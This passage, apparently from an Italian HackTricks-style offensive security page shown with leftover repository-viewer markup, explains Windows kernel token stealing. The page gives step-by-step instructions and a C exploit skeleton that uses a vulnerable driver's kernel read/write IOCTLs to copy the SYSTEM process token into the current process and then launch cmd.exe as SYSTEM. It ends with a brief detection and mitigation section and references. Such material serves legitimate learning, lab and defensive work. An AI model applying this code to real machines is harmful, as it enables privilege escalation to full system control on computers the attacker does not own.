- Sostituire l'EPROCESS.Token del processo corrente con il puntatore al token di SYSTEM fa sì che il processo corrente venga eseguito immediatamente come SYSTEM.
|
||||
|
||||
> Gli offset in EPROCESS variano tra le versioni di Windows. Determinali dinamicamente (simboli) o usa costanti specifiche per la versione. Ricorda inoltre che EPROCESS.Token è un EX_FAST_REF (i 3 bit meno significativi sono flag del conteggio riferimenti).
|
||||
|
||||
## Passaggi ad alto livello
|
||||
|
||||
1) Individua la base di ntoskrnl.exe e risolvi l'indirizzo di PsInitialSystemProcess.
|
||||
- Da user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers per ottenere le basi dei driver caricati.
|
||||
- Aggiungi l'offset di PsInitialSystemProcess (da symbols/reversing) alla base del kernel per ottenere il suo indirizzo.
|
||||
2) Leggi il puntatore a PsInitialSystemProcess → questo è un puntatore kernel all'EPROCESS di SYSTEM.
|
||||
3) Dall'EPROCESS di SYSTEM, leggi gli offset di UniqueProcessId e ActiveProcessLinks per attraversare la lista doppiamente collegata di strutture EPROCESS (ActiveProcessLinks.Flink/Blink) fino a trovare l'EPROCESS il cui UniqueProcessId è uguale a GetCurrentProcessId(). Mantieni entrambi:
|
||||
- EPROCESS_SYSTEM (per SYSTEM)
|
||||
- EPROCESS_SELF (per il processo corrente)
|
||||
4) Leggi il valore del token di SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Maschera i 3 bit bassi: Token_SYS_masked = Token_SYS & ~0xF (comunemente ~0xF o ~0x7 a seconda della build; su x64 i 3 bit meno significativi sono usati — mask 0xFFFFFFFFFFFFFFF8).
|
||||
5) Option A (common): Conserva i 3 bit bassi dal tuo token corrente e agganciali al puntatore di SYSTEM per mantenere coerente il ref count incorporato.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Scrivi Token_NEW in (EPROCESS_SELF + TokenOffset) usando la tua primitive di kernel write.
|
||||
7) Il processo corrente è ora SYSTEM. Facoltativamente avvia un nuovo cmd.exe o powershell.exe per confermare.
|
||||
|
||||
## Pseudocodice
|
||||
|
||||
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Note:
|
||||
- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
|
||||
- Mask: Su x64 il token è un EX_FAST_REF; i 3 bit bassi sono bit del conteggio riferimenti. Conservare i bit bassi originali del tuo token evita immediate inconsistenze del conteggio riferimenti.
|
||||
- Stability: Preferisci elevare il processo corrente; se elevi un helper di breve durata potresti perdere SYSTEM quando termina.
|
||||
|
||||
## Rilevamento e mitigazione
|
||||
- Il caricamento di driver di terze parti non firmati o non affidabili che espongono potenti IOCTLs è la causa principale.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard e le regole Attack Surface Reduction possono impedire il caricamento di driver vulnerabili.
|
||||
- EDR può monitorare sequenze IOCTL sospette che implementano arbitrary read/write e token swaps.
|
||||
|
||||
## Riferimenti
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user